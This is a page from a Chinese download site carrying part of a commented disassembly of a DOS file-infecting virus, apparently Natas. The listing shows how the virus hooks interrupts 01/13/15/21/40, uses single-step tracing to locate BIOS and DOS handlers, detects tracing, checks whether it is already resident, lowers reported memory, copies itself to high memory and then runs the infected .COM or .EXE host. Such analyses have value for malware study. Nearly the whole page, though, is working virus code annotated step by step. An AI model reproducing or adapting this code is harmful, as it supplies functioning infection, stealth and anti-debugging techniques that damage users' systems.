⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 natas

📁 一套关于加解密的文件
💻
📖 第 1 页 / 共 5 页
字号:
9E80:01EA 2EC47C16       LES	DI,CS:[SI+16] 
9E80:01EE EB0A           JMP	01FA
;========================================================================
;保存或恢复 INT 21 中断前 5 字节 
9E80:01F0 E8F9FE         CALL	00EC 
9E80:01F3 BEDE13         MOV	SI,13DE 
9E80:01F6 2EC47C1D       LES	DI,CS:[SI+1D] 
9E80:01FA 0E             PUSH	CS 
9E80:01FB 1F             POP	DS 
9E80:01FC B90500         MOV	CX,0005 
9E80:01FF 382E1114       CMP	[1411],CH 	;[1411] 引导区引入时为 0
9E80:0203 740B           JZ	0210 
9E80:0205 FC             CLD	 
9E80:0206 AC             LODSB	 
9E80:0207 268605         XCHG	AL,ES:[DI] 
9E80:020A 8844FF         MOV	[SI-01],AL 
9E80:020D 47             INC	DI 
9E80:020E E2F6           LOOP	0206 
9E80:0210 E8EFFE         CALL	0102 
9E80:0213 C3             RET	 
;=========================================================================
;由初始化程序调用
9E80:0214 E882FE         CALL	0099 		;保存 INT 13/15/21/40
9E80:0217 B452           MOV	AH,52		;中断前 5 字节
9E80:0219 CD21           INT	21 
9E80:021B 268B47FE       MOV	AX,ES:[BX-02] 	;AX = 第一块 MCB 地址
9E80:021F A3AD02         MOV	[02AD],AX 
9E80:0222 B001           MOV	AL,01 		;取 INT 01 中断地址
9E80:0224 E89CFE         CALL	00C3 
9E80:0227 53             PUSH	BX 
9E80:0228 06             PUSH	ES 
9E80:0229 BA7702         MOV	DX,0277 	;设置 INT 01 中断地址
9E80:022C E8A5FE         CALL	00D4 		;到 CS:0277
9E80:022F 9C             PUSHF	 
9E80:0230 5E             POP	SI 
9E80:0231 BF9702         MOV	DI,0297 
9E80:0234 C60503         MOV	Byte Ptr [DI],03 
9E80:0237 B401           MOV	AH,01 
9E80:0239 E83400         CALL	0270 		;激活 INT 01
9E80:023C E87C08         CALL	0ABB 		;执行 INT 13,找 BIOS INT 13地址
;本句功能为先执行 029B, 再执行 02C8,在 02C8 中找出
;BIOS 的 INT 13 地址, 即段地址高位在 C8 到 F4 之间
;找到以后转 02B4, 将 INT 13 地址保存在 13EB 中
9E80:023F C60526         MOV	Byte Ptr [DI],26
9E80:0242 B4C0           MOV	AH,C0 
9E80:0244 E82900         CALL	0270 		;激活 INT 01
9E80:0247 9C             PUSHF	 		;调用 INT 15,找 BIOS INT 15地址
9E80:0248 FF1EF313       CALL	FAR [13F3] 
;本段功能为先执行 02BE, 同上找出 BIOS INT 15 地址
;保存于 13F3 中
9E80:024C C60513         MOV	Byte Ptr [DI],13 
9E80:024F B430           MOV	AH,30
9E80:0251 E81C00         CALL	0270 		;激活 INT 01
9E80:0254 E86E08         CALL	0AC5 		;调用 INT 21
;本段功能为找出 MSDOS 中 INT 21 的地址, 先执行
;02AB, 判断执行段地址小于第一块 MCB 地址, 即为
;INT 21 的地址, 找到后保存于 13FB 中
9E80:0257 C6052B         MOV	Byte Ptr [DI],2B
9E80:025A B401           MOV	AH,01 
9E80:025C E81100         CALL	0270 
9E80:025F E86908         CALL	0ACB 
;本段功能为找出 BIOS INT 40 地址,具体为先执行 02C3
;再同 INT 13 之执行, 找到 INT 40 地址保存于 13F7 中
9E80:0262 81E6FFFE       AND	SI,FEFF 
9E80:0266 56             PUSH	SI 
9E80:0267 9D             POPF			;停止 INT 01
9E80:0268 1F             POP	DS 		;恢复原 INT 01 地址
9E80:0269 5A             POP	DX 
9E80:026A B001           MOV	AL,01 
9E80:026C E865FE         CALL	00D4 
9E80:026F C3             RET	 
9E80:0270 81CE0001       OR	SI,0100 
9E80:0274 56             PUSH	SI 
9E80:0275 9D             POPF	 
9E80:0276 C3             RET	 
;=========================================================================
;	病毒新 INT 01
;	这是一个多个地方调用的子程序, 先由调用者设置 0296 出 JNZ 指令
;	跳转的地址, 再设置并激活 INT 01
;	在 0099 中用来找出初始 INT 13/15/21/40 地址
;	在 INT 21 结束时用来重新截取 INT 21
9E80:0277 1E             PUSH	DS 
9E80:0278 0E             PUSH	CS 
9E80:0279 1F             POP	DS 
9E80:027A 893E6F03       MOV	[036F],DI 	;DI = 13E3
9E80:027E BF6303         MOV	DI,0363 
9E80:0281 8905           MOV	[DI],AX 	;保存返回时的
9E80:0283 895D03         MOV	[DI+03],BX 	;AX 到 DX 值
9E80:0286 894D06         MOV	[DI+06],CX 
9E80:0289 895509         MOV	[DI+09],DX 
9E80:028C 8F45FB         POP	[DI-05] 	;保存返回时的 DS
9E80:028F 5B             POP	BX 		;调用 IP (INT 01)
9E80:0290 59             POP	CX 		;调用 CS
9E80:0291 5A             POP	DX 		;调用 FLAG
9E80:0292 8CC8           MOV	AX,CS 
9E80:0294 3BC1           CMP	AX,CX 		;是否调用者在病毒内
9E80:0296 752B           JNZ	02C3 		;不在病毒内开始执行 INT 01 功能
9E80:0298 E9BF00         JMP	035A
;以下由 022F 处执行, 找 MSDOS INT 13 地址
9E80:029B 3B0EAD02       CMP	CX,[02AD] 	;02AD 为第一个 MCB 地址
9E80:029F 734D           JNB	02EE 		;不在 MSDOS 内返回
9E80:02A1 BFEF13         MOV	DI,13EF 
9E80:02A4 C606970230     MOV	Byte Ptr [0297],30	;下一次 0296
9E80:02A9 EB0C           JMP	02B7 		;处为 JNZ 02C8
;以下由 0257 处执行, 找 INT 21 地址
9E80:02AB 81F9A30B       CMP	CX,0BA3  ===>	;本句地址由 021F 设置
9E80:02AF 733D           JNB	02EE 		;为第一块 MCB 地址
9E80:02B1 BFFB13         MOV	DI,13FB 
9E80:02B4 80E6FE         AND	DH,FE 		;保存找到的地址
9E80:02B7 891D           MOV	[DI],BX 	;并停止 INT 01
9E80:02B9 894D02         MOV	[DI+02],CX 
9E80:02BC EB30           JMP	02EE 
;以下由 024C 处执行, 找 INT 15 地址
9E80:02BE BFF313         MOV	DI,13F3 
9E80:02C1 EB08           JMP	02CB 
;以下由 0262 处执行, 找 INT 40 地址
9E80:02C3 BFF713         MOV	DI,13F7 
9E80:02C6 EB03           JMP	02CB 
9E80:02C8 BFEB13         MOV	DI,13EB 	;从 02A9 转来
9E80:02CB 80FDC8         CMP	CH,C8 		;段地址 < C800 退出
9E80:02CE 721E           JB	02EE 
9E80:02D0 80FDF4         CMP	CH,F4 		;段地址 > F400 退出
9E80:02D3 72DF           JB	02B4 		;段地址指向 BIOS 转 02B4
9E80:02D5 EB17           JMP	02EE 		;保存及停止 INT 01
;INT 01 在 INT 21 结束时执行转此处
9E80:02D7 FE0E1214       DEC	Byte Ptr [1412] 
9E80:02DB 7511           JNZ	02EE 
9E80:02DD 52             PUSH	DX 		;到 INT 21 第一句
9E80:02DE B001           MOV	AL,01 		;恢复 INT 01 中断
9E80:02E0 C516E313       LDS	DX,[13E3] 
9E80:02E4 E8EDFD         CALL	00D4 		;
9E80:02E7 E806FF         CALL	01F0 		;截取 INT 21 中断
9E80:02EA 5A             POP	DX 
9E80:02EB 80E6FE         AND	DH,FE 
9E80:02EE F6C601         TEST	DH,01 		;标志复位转 035A 退出
9E80:02F1 7467           JZ	035A 
9E80:02F3 8ED9           MOV	DS,CX 
9E80:02F5 33FF           XOR	DI,DI 
9E80:02F7 8B01           MOV	AX,[BX+DI] 
9E80:02F9 3CF0           CMP	AL,F0 
9E80:02FB 7412           JZ	030F 
9E80:02FD 3CF2           CMP	AL,F2 
9E80:02FF 740E           JZ	030F 
9E80:0301 3CF3           CMP	AL,F3 
9E80:0303 740A           JZ	030F 
9E80:0305 3C9C           CMP	AL,9C 
9E80:0307 7309           JNB	0312 
9E80:0309 24E7           AND	AL,E7 
9E80:030B 3C26           CMP	AL,26
9E80:030D 754B           JNZ	035A 
9E80:030F 47             INC	DI 
9E80:0310 EBE5           JMP	02F7 
9E80:0312 750C           JNZ	0320 
9E80:0314 80E6FE         AND	DH,FE 
9E80:0317 52             PUSH	DX 
9E80:0318 8D5901         LEA	BX,[BX+DI+01] 
9E80:031B 80CE01         OR	DH,01 
9E80:031E EBD3           JMP	02F3 
9E80:0320 3C9D           CMP	AL,9D 
9E80:0322 7503           JNZ	0327 
9E80:0324 5A             POP	DX 
9E80:0325 EBF1           JMP	0318 
9E80:0327 3CCF           CMP	AL,CF 
9E80:0329 7505           JNZ	0330 
9E80:032B 5B             POP	BX 
9E80:032C 59             POP	CX 
9E80:032D 5A             POP	DX 
9E80:032E EBEB           JMP	031B 
9E80:0330 3CCD           CMP	AL,CD 
9E80:0332 7412           JZ	0346 
9E80:0334 3CCC           CMP	AL,CC 
9E80:0336 B403           MOV	AH,03 
9E80:0338 740B           JZ	0345 
9E80:033A 3CCE           CMP	AL,CE 
9E80:033C B404           MOV	AH,04 
9E80:033E 751A           JNZ	035A 
9E80:0340 F6C608         TEST	DH,08 
9E80:0343 7415           JZ	035A 
9E80:0345 4B             DEC	BX 
9E80:0346 80E6FE         AND	DH,FE 
9E80:0349 8D5902         LEA	BX,[BX+DI+02] 
9E80:034C 52             PUSH	DX 
9E80:034D 51             PUSH	CX 
9E80:034E 53             PUSH	BX 
9E80:034F 8AC4           MOV	AL,AH 
9E80:0351 06             PUSH	ES 
9E80:0352 E86EFD         CALL	00C3 
9E80:0355 8CC1           MOV	CX,ES 
9E80:0357 07             POP	ES 
9E80:0358 EBC1           JMP	031B 
9E80:035A 52             PUSH	DX 
9E80:035B 51             PUSH	CX 
9E80:035C 53             PUSH	BX 
9E80:035D B85E9E         MOV	AX,9E5E 
9E80:0360 8ED8           MOV	DS,AX 
9E80:0362 B80601         MOV	AX,0106 
9E80:0365 BB00FF         MOV	BX,FF00 
9E80:0368 B90000         MOV	CX,0000 
9E80:036B BA7702         MOV	DX,0277 
9E80:036E BF9702         MOV	DI,0297 
9E80:0371 CF             IRET	 
;=========================================================================
;	可执行文件入口
;=========================================================================
9E80:0372 1E             PUSH	DS 
9E80:0373 E80000         CALL	0376 		;重定位
9E80:0376 5E             POP	SI 
9E80:0377 81EE7603       SUB	SI,0376 
9E80:037B E83BFE         CALL	01B9 		;检测是否有跟踪
9E80:037E 0BED           OR	BP,BP 		;有跟踪转 038D
9E80:0380 750B           JNZ	038D 
9E80:0382 B430           MOV	AH,30
9E80:0384 BB9AF9         MOV	BX,F99A 
9E80:0387 CD21           INT	21 
9E80:0389 3C03           CMP	AL,03 		;内存驻留检测
9E80:038B 7230           JB	03BD 		;已驻留转 03BD
9E80:038D 8CC0           MOV	AX,ES 
9E80:038F 48             DEC	AX 
9E80:0390 8ED8           MOV	DS,AX 
9E80:0392 33FF           XOR	DI,DI 
9E80:0394 0BED           OR	BP,BP 		;有跟踪转 039D
9E80:0396 7505           JNZ	039D 
9E80:0398 803D5A         CMP	Byte Ptr [DI],5A	;非最后一块 MCB
9E80:039B 7520           JNZ	03BD 		;转执行原程序
9E80:039D B86201         MOV	AX,0162 
9E80:03A0 294503         SUB	[DI+03],AX 	;内存减 1620 (5664)字节
9E80:03A3 294512         SUB	[DI+12],AX 
9E80:03A6 8E4512         MOV	ES,[DI+12] 
9E80:03A9 8EDF           MOV	DS,DI 		;BIOS 内存减 6K
9E80:03AB 832E130406     SUB	Word Ptr [0413],+06 
9E80:03B0 B9D913         MOV	CX,13D9 	;将病毒 13D9 字节移动到高端
9E80:03B3 FC             CLD	 
9E80:03B4 F3             REPZ	
9E80:03B5 2EA4           MOVSB	CS: 
9E80:03B7 B8FA03         MOV	AX,03FA 	;转高端 03FA 继续执行
9E80:03BA 06             PUSH	ES 
9E80:03BB 50             PUSH	AX 
9E80:03BC CB             RETF	 
;=========================================================================
9E80:03BD 0E             PUSH	CS 		;执行原程序
9E80:03BE 1F             POP	DS 
9E80:03BF 07             POP	ES 
9E80:03C0 8DB47012       LEA	SI,[SI+1270] 	;原文件头位置
9E80:03C4 8B04           MOV	AX,[SI] 
9E80:03C6 3D4D5A         CMP	AX,5A4D 	;.EXE 文件转 03DF
9E80:03C9 7414           JZ	03DF 
9E80:03CB 3D5A4D         CMP	AX,4D5A 
9E80:03CE 740F           JZ	03DF 
9E80:03D0 B90C00         MOV	CX,000C 	;.COM 文件恢复原文件头 000C字
9E80:03D3 BF0001         MOV	DI,0100 	;原文件头 ==> CS:0100
9E80:03D6 06             PUSH	ES 
9E80:03D7 57             PUSH	DI 
9E80:03D8 FC             CLD	 
9E80:03D9 F3             REPZ	
9E80:03DA A5             MOVSW	 
9E80:03DB 06             PUSH	ES 
9E80:03DC 1F             POP	DS 
9E80:03DD 91             XCHG	AX,CX 		;执行原 .COM 文件
9E80:03DE CB             RETF	 
9E80:03DF 8CC0           MOV	AX,ES 		;.EXE 文件重定位
9E80:03E1 051000         ADD	AX,0010 
9E80:03E4 014416         ADD	[SI+16],AX 
9E80:03E7 03440E         ADD	AX,[SI+0E] 
9E80:03EA 06             PUSH	ES 
9E80:03EB 1F             POP	DS 
9E80:03EC FA             CLI	 
9E80:03ED 8ED0           MOV	SS,AX 
9E80:03EF 2E8B6410       MOV	SP,CS:[SI+10] 
9E80:03F3 33C0           XOR	AX,AX 
9E80:03F5 FB             STI	 
9E80:03F6 2EFF6C14       JMP	FAR CS:[SI+14] 	;执行原 .EXE 文件
;=========================================================================
;文件初始化时由低段跳转过来
9E80:03FA 0E             PUSH	CS 
9E80:03FB 1F             POP	DS 		;DI = 13DA
9E80:03FC C6453801       MOV	Byte Ptr [DI+38],01 	;DS:[1412]
9E80:0400 B80200         MOV	AX,0002 
9E80:0403 E8600D         CALL	1166 		;产生随机数
9E80:0406 A23D0A         MOV	[0A3D],AL 
9E80:0409 C60673042E     MOV	Byte Ptr [0473],2E 
9E80:040E B0EA           MOV	AL,EA 
9E80:0410 AA             STOSB	 
9E80:0411 884504         MOV	[DI+04],AL 	;新 INT 13 中断前 5 字节
9E80:0414 B87204         MOV	AX,0472 	;JMP CS:0472

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -